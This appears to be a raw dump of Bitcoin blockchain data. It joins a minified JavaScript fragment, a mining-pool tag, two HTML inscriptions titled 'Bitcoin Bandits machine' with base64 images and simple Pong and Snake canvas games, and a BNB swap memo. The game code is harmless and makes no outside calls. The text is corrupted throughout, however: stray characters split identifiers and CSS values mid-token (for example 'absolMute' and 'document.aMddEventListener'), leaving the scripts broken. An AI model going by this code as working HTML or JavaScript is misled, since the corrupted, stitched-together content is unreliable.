,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
c/Foundry USA Pool #dropgold/
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:M
canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleM
Y}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ballM
.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.aM
ddEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
AElFTkSuQmCC" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snaM
ke.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+M
1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</scri
Aj?=:BNB.BNB:bnb14z4xchagn4ekyyhdt9vn68pt8jus4r76sczpzj:7178314::0
